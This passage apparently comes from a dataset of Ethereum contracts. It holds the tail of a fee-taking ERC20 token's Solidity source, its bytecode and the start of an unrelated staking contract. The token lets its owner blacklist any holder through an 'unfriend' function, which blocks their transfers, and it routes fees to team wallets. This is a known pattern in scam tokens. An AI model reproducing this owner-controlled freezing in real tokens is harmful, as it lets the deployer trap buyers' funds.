zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function tradingIsOpen() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 22500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function unfriend(address[] memory notfriend_) public onlyOwner { for (uint i = 0; i < notfriend_.length; i++) { bots[notfriend_[i]] = true; } } function befriend(address isfriend) public onlyOwner { bots[isfriend] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a082311161009557806395d89b411161006457806395d89b4114610308578063a9059cbb14610333578063afbdc8fb14610370578063c3c8cd8014610399578063dd62ed3e146103b057610109565b806370a0823114610260578063715018a61461029d5780638da5cb5b146102b457806392a38b12146102df57610109565b806323b872dd116100d157806323b872dd146101b8578063313ce567146101f55780635932ead1146102205780636fc3eaec1461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd146101765780632229b5fa146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061247b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612545565b61042a565b60405161016d91906125a0565b60405180910390f35b34801561018257600080fd5b5061018b610448565b60405161019891906125ca565b60405180910390f35b3480156101ad57600080fd5b506101b6610459565b005b3480156101c457600080fd5b506101df60048036038101906101da91906125e5565b6109b6565b6040516101ec91906125a0565b60405180910390f35b34801561020157600080fd5b5061020a610a8f565b6040516102179190612654565b60405180910390f35b34801561022c57600080fd5b506102476004803603810190610242919061269b565b610a98565b005b34801561025557600080fd5b5061025e610b4a565b005b34801561026c57600080fd5b50610287600480360381019061028291906126c8565b610bbc565b60405161029491906125ca565b60405180910390f35b3480156102a957600080fd5b506102b2610c0d565b005b3480156102c057600080fd5b506102c9610d60565b6040516102d69190612704565b60405180910390f35b3480156102eb57600080fd5b50610306600480360381019061030191906126c8565b610d89565b005b34801561031457600080fd5b5061031d610e79565b60405161032a919061247b565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190612545565b610eb6565b60405161036791906125a0565b60405180910390f35b34801561037c57600080fd5b5061039760048036038101906103929190612867565b610ed4565b005b3480156103a557600080fd5b506103ae610ffe565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906128b0565b611078565b6040516103e491906125ca565b60405180910390f35b60606040518060400160405280600c81526020017f4c4c61776c69657420496e750000000000000000000000000000000000000000815250905090565b600061043e610437611149565b8484611151565b6001905092915050565b6000683635c9adc5dea00000905090565b610461611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e59061293c565b60405180910390fd5b600f60149054906101000a900460ff161561053e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610535906129a8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105ce30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611151565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561061457600080fd5b505afa158015610628573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064c91906129dd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ae57600080fd5b505afa1580156106c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e691906129dd565b6040518363ffffffff1660e01b8152600401610703929190612a0a565b602060405180830381600087803b15801561071d57600080fd5b505af1158015610731573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075591906129dd565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107de30610bbc565b6000806107e9610d60565b426040518863ffffffff1660e01b815260040161080b96959493929190612a78565b6060604051808303818588803b15801561082457600080fd5b505af1158015610838573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061085d9190612aee565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550680138400eca364a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610960929190612b41565b602060405180830381600087803b15801561097a57600080fd5b505af115801561098e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b29190612b7f565b5050565b60006109c384848461131c565b610a84846109cf611149565b610a7f8560405180606001604052806028815260200161331a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a35611149565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119219092919063ffffffff16565b611151565b600190509392505050565b60006009905090565b610aa0611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b249061293c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b8b611149565b73ffffffffffffffffffffffffffffffffffffffff1614610bab57600080fd5b6000479050610bb981611985565b50565b6000610c06600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a80565b9050919050565b610c15611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c999061293c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d91611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e159061293c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600581526020017f244c494e55000000000000000000000000000000000000000000000000000000815250905090565b6000610eca610ec3611149565b848461131c565b6001905092915050565b610edc611149565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f609061293c565b60405180910390fd5b60005b8151811015610ffa57600160066000848481518110610f8e57610f8d612bac565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ff290612c0a565b915050610f6c565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661103f611149565b73ffffffffffffffffffffffffffffffffffffffff161461105f57600080fd5b600061106a30610bbc565b905061107581611aee565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061114183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d76565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b890612cc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611231576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122890612d57565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161130f91906125ca565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612de9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390612e7b565b60405180910390fd5b6000811161143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690612f0d565b60405180910390fd5b6002600a819055506008600b81905550611457610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114c55750611495610d60565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561191157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561156e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61157757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116225750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116785750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116905750600f60179054906101000a900460ff165b15611740576010548111156116a457600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116ef57600080fd5b601e426116fc9190612f2d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117eb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611857576002600a819055506008600b819055505b600061186230610bbc565b9050600f60159054906101000a900460ff161580156118cf5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118e75750600f60169054906101000a900460ff165b1561190f576118f581611aee565b6000479050600081111561190d5761190c47611985565b5b505b505b61191c838383611dd9565b505050565b6000838311158290611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611960919061247b565b60405180910390fd5b50600083856119789190612f83565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119d56002846110ff90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a00573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a516002846110ff90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a7c573d6000803e3d6000fd5b5050565b6000600854821115611ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abe90613029565b60405180910390fd5b6000611ad1611de9565b9050611ae681846110ff90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b2657611b25612724565b5b604051908082528060200260200182016040528015611b545781602001602082028036833780820191505090505b5090503081600081518110611b6c57611b6b612bac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0e57600080fd5b505afa158015611c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4691906129dd565b81600181518110611c5a57611c59612bac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cc130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611151565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d25959493929190613107565b600060405180830381600087803b158015611d3f57600080fd5b505af1158015611d53573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083118290611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db4919061247b565b60405180910390fd5b5060008385611dcc9190613190565b9050809150509392505050565b611de4838383611e14565b505050565b6000806000611df6611fdf565b91509150611e0d81836110ff90919063ffffffff16565b9250505090565b600080600080600080611e2687612041565b955095509550955095509550611e8486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f1985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6581612151565b611f6f848361220e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fcc91906125ca565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050612015683635c9adc5dea000006008546110ff90919063ffffffff16565b82101561203457600854683635c9adc5dea0000093509350505061203d565b81819350935050505b9091565b600080600080600080600080600061205e8a600a54600b54612248565b925092509250600061206e611de9565b905060008060006120818e8787876122de565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611921565b905092915050565b60008082846121029190612f2d565b905083811015612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e9061320d565b60405180910390fd5b8091505092915050565b600061215b611de9565b90506000612172828461236790919063ffffffff16565b90506121c681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612223826008546120a990919063ffffffff16565b60088190555061223e816009546120f390919063ffffffff16565b6009819055505050565b6000806000806122746064612266888a61236790919063ffffffff16565b6110ff90919063ffffffff16565b9050600061229e6064612290888b61236790919063ffffffff16565b6110ff90919063ffffffff16565b905060006122c7826122b9858c6120a990919063ffffffff16565b6120a990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122f7858961236790919063ffffffff16565b9050600061230e868961236790919063ffffffff16565b90506000612325878961236790919063ffffffff16565b9050600061234e8261234085876120a990919063ffffffff16565b6120a990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237a57600090506123dc565b60008284612388919061322d565b90508284826123979190613190565b146123d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ce906132f9565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561241c578082015181840152602081019050612401565b8381111561242b576000848401525b50505050565b6000601f19601f8301169050919050565b600061244d826123e2565b61245781856123ed565b93506124678185602086016123fe565b61247081612431565b840191505092915050565b600060208201905081810360008301526124958184612442565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124dc826124b1565b9050919050565b6124ec816124d1565b81146124f757600080fd5b50565b600081359050612509816124e3565b92915050565b6000819050919050565b6125228161250f565b811461252d57600080fd5b50565b60008135905061253f81612519565b92915050565b6000806040838503121561255c5761255b6124a7565b5b600061256a858286016124fa565b925050602061257b85828601612530565b9150509250929050565b60008115159050919050565b61259a81612585565b82525050565b60006020820190506125b56000830184612591565b92915050565b6125c48161250f565b82525050565b60006020820190506125df60008301846125bb565b92915050565b6000806000606084860312156125fe576125fd6124a7565b5b600061260c868287016124fa565b935050602061261d868287016124fa565b925050604061262e86828701612530565b9150509250925092565b600060ff82169050919050565b61264e81612638565b82525050565b60006020820190506126696000830184612645565b92915050565b61267881612585565b811461268357600080fd5b50565b6000813590506126958161266f565b92915050565b6000602082840312156126b1576126b06124a7565b5b60006126bf84828501612686565b91505092915050565b6000602082840312156126de576126dd6124a7565b5b60006126ec848285016124fa565b91505092915050565b6126fe816124d1565b82525050565b600060208201905061271960008301846126f5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61275c82612431565b810181811067ffffffffffffffff8211171561277b5761277a612724565b5b80604052505050565b600061278e61249d565b905061279a8282612753565b919050565b600067ffffffffffffffff8211156127ba576127b9612724565b5b602082029050602081019050919050565b600080fd5b60006127e36127de8461279f565b612784565b90508083825260208201905060208402830185811115612806576128056127cb565b5b835b8181101561282f578061281b88826124fa565b845260208401935050602081019050612808565b5050509392505050565b600082601f83011261284e5761284d61271f565b5b813561285e8482602086016127d0565b91505092915050565b60006020828403121561287d5761287c6124a7565b5b600082013567ffffffffffffffff81111561289b5761289a6124ac565b5b6128a784828501612839565b91505092915050565b600080604083850312156128c7576128c66124a7565b5b60006128d5858286016124fa565b92505060206128e6858286016124fa565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129266020836123ed565b9150612931826128f0565b602082019050919050565b6000602082019050818103600083015261295581612919565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006129926017836123ed565b915061299d8261295c565b602082019050919050565b600060208201905081810360008301526129c181612985565b9050919050565b6000815190506129d7816124e3565b92915050565b6000602082840312156129f3576129f26124a7565b5b6000612a01848285016129c8565b91505092915050565b6000604082019050612a1f60008301856126f5565b612a2c60208301846126f5565b9392505050565b6000819050919050565b6000819050919050565b6000612a62612a5d612a5884612a33565b612a3d565b61250f565b9050919050565b612a7281612a47565b82525050565b600060c082019050612a8d60008301896126f5565b612a9a60208301886125bb565b612aa76040830187612a69565b612ab46060830186612a69565b612ac160808301856126f5565b612ace60a08301846125bb565b979650505050505050565b600081519050612ae881612519565b92915050565b600080600060608486031215612b0757612b066124a7565b5b6000612b1586828701612ad9565b9350506020612b2686828701612ad9565b9250506040612b3786828701612ad9565b9150509250925092565b6000604082019050612b5660008301856126f5565b612b6360208301846125bb565b9392505050565b600081519050612b798161266f565b92915050565b600060208284031215612b9557612b946124a7565b5b6000612ba384828501612b6a565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c158261250f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c4857612c47612bdb565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612caf6024836123ed565b9150612cba82612c53565b604082019050919050565b60006020820190508181036000830152612cde81612ca2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d416022836123ed565b9150612d4c82612ce5565b604082019050919050565b60006020820190508181036000830152612d7081612d34565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612dd36025836123ed565b9150612dde82612d77565b604082019050919050565b60006020820190508181036000830152612e0281612dc6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612e656023836123ed565b9150612e7082612e09565b604082019050919050565b60006020820190508181036000830152612e9481612e58565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612ef76029836123ed565b9150612f0282612e9b565b604082019050919050565b60006020820190508181036000830152612f2681612eea565b9050919050565b6000612f388261250f565b9150612f438361250f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f7857612f77612bdb565b5b828201905092915050565b6000612f8e8261250f565b9150612f998361250f565b925082821015612fac57612fab612bdb565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613013602a836123ed565b915061301e82612fb7565b604082019050919050565b6000602082019050818103600083015261304281613006565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61307e816124d1565b82525050565b60006130908383613075565b60208301905092915050565b6000602082019050919050565b60006130b482613049565b6130be8185613054565b93506130c983613065565b8060005b838110156130fa5781516130e18882613084565b97506130ec8361309c565b9250506001810190506130cd565b5085935050505092915050565b600060a08201905061311c60008301886125bb565b6131296020830187612a69565b818103604083015261313b81866130a9565b905061314a60608301856126f5565b61315760808301846125bb565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061319b8261250f565b91506131a68361250f565b9250826131b6576131b5613161565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006131f7601b836123ed565b9150613202826131c1565b602082019050919050565b60006020820190508181036000830152613226816131ea565b9050919050565b60006132388261250f565b91506132438361250f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561327c5761327b612bdb565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006132e36021836123ed565b91506132ee82613287565b604082019050919050565b60006020820190508181036000830152613312816132d6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5642314bc6cd950ee53f854e33d357f25f3254d03538e2b74624e7a31a9f2ee64736f6c63430008090033
[ 13, 5 ]
0xf1bFB6748e3362cFdbDC49377BE8731C769bC238
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {IERC20Permit} from "@openzeppelin/contracts/drafts/IERC20Permit.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/ERC721Holder.sol"; import {IHypervisor} from "./hypervisor/Hypervisor.sol"; import {IUniversalVault} from "./visor/Visor.sol"; import {IFactory} from "./factory/IFactory.sol"; /// @title Mainframe contract Mainframe is ERC721Holder { function mintVisorAndStake( address hypervisor, address visorFactory, address visorOwner, uint256 amount, bytes32 salt, bytes calldata permission ) external returns (address vault) { // create vault vault = IFactory(visorFactory).create2("", salt); // get staking token address stakingToken = IHypervisor(hypervisor).getHypervisorData().stakingToken; // transfer ownership IERC721(visorFactory).safeTransferFrom(address(this), visorOwner, uint256(vault)); // transfer tokens TransferHelper.safeTransferFrom(stakingToken, msg.sender, vault, amount); // stake IHypervisor(hypervisor).stake(vault, amount, permission); } struct Permit { address owner; address spender; uint256 value; uint256 deadline; uint8 v; bytes32 r; bytes32 s; } function mintVisorPermitAndStake( address hypervisor, address visorFactory, address visorOwner, bytes32 salt, Permit calldata permit, bytes calldata permission ) external returns (address vault) { // create vault vault = IFactory(visorFactory).create2("", salt); // transfer ownership 